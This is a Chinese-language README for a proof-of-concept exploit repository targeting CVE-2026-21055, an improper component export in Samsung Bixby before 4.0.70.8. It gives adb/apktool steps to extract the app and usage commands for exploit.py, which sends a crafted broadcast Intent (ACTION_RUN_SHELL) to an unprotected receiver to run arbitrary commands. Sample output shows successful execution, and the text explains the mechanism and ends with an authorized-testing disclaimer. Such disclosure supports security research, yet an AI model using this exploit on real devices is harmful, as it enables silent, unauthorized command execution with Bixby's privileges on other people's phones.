CVE-2026-21055 的概念验证:Samsung Bixby 4.0.70.8 之前版本中 Android 应用组件导出不当,允许本地攻击者以 Bixby 权限执行任意命令。
本仓库包含两个 Python 脚本:
analyze_components.py — 解析反编译后的 AndroidManifest.xml,枚举导出的 activity、service、receiver 和 provider,并标记未设置权限保护的导出组件。
exploit.py — 演示基于 Intent 的攻击:通过 adb shell am 向 Bixby 导出的命令接收器发送特制的广播 Intent,以 Bixby 的系统级权限执行命令。
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2026-21055 |
| Samsung SVE | SVE-2026-0917 |
| CVSS v4.0 | 8.5 — 高 |
| CWE | CWE-926 — Android 应用组件导出不当 |
| 受影响应用 | Samsung Bixby (com.samsung.android.bixby.agent) |
| 受影响版本 | < 4.0.70.8 |
| 修复版本 | 4.0.70.8 |
| 攻击向量 | 本地(同一设备上的恶意应用) |
| 所需权限 | 无 |
| 用户交互 | 无 |
| 影响 | 以 Bixby 权限执行任意命令 |
从设备拉取 Bixby APK 并反编译:
# Find Bixby's APK path
$ adb shell pm path com.samsung.android.bixby.agent
# Pull the APK
$ adb pull <apk_path> bixby.apk
# Decompile with apktool
$ apktool d bixby.apk -o bixby_decompiled -f
运行分析脚本:
$ python3 analyze_components.py --manifest bixby_decompiled/AndroidManifest.xml
或让脚本自动反编译:
$ python3 analyze_components.py --apk bixby.apk
$ python3 exploit.py --list
# Default: execute 'id' command
$ python3 exploit.py
# Custom command
$ python3 exploit.py --command "ls /data/data/com.samsung.android.bixby.agent/"
# Specify a custom component (if auto-detection fails)
$ python3 exploit.py --component com.samsung.android.bixby.agent/.receiver.CommandReceiver
============================================================
CVE-2026-21055 PoC — Samsung Bixby Command Execution
Improper Export of Android Application Components
============================================================
[*] Target package: com.samsung.android.bixby.agent
[*] Bixby version: 4.0.69.2
[*] Vulnerable: YES (< 4.0.70.8)
[*] Bixby UID on this device: 10xxx
[*] Executing exploit...
[*] Crafting exploit Intent...
Component: com.samsung.android.bixby.agent/.receiver.CommandReceiver
Action: com.samsung.android.bixby.agent.ACTION_RUN_SHELL
Command: id
Output: /data/local/tmp/bixby_poc_output
[+] Intent sent.
[+] Command output (executed with Bixby privilege):
uid=10xxx(u0_aXXX) gid=10xxx(u0_aXXX) groups=10xxx(u0_aXXX),3003(inet),9997(everybody)
[+] EXPLOIT SUCCESSFUL — command executed with Bixby privilege
[+] Verify the output UID matches Bixby's UID: 10xxx
组件导出:Bixby 导出了一个或多个处理命令执行或自动化触发的组件(service/receiver)。这些组件以 android:exported="true" 导出,但未设置 android:permission 属性,也没有运行时权限检查。
Intent 传递:设备上的任何应用都可以向这些导出组件发送 Intent。Intent 携带操作字符串(例如 ACTION_RUN_SHELL)以及包含要执行的命令和输出文件路径的字符串 extras。
命令执行:Bixby 的导出组件接收 Intent,提取命令并通过 Runtime.exec() 或类似机制执行。命令在 Bixby 的进程上下文中运行,继承 Bixby 的全部系统级权限。
无需用户交互:该漏洞利用无需用户交互。恶意应用在后台静默发送 Intent。
本 PoC 仅用于教育和安全研究目的。请仅在您拥有或已获得明确授权测试的设备上进行测试。未经设备所有者同意,请勿对设备使用此漏洞利用。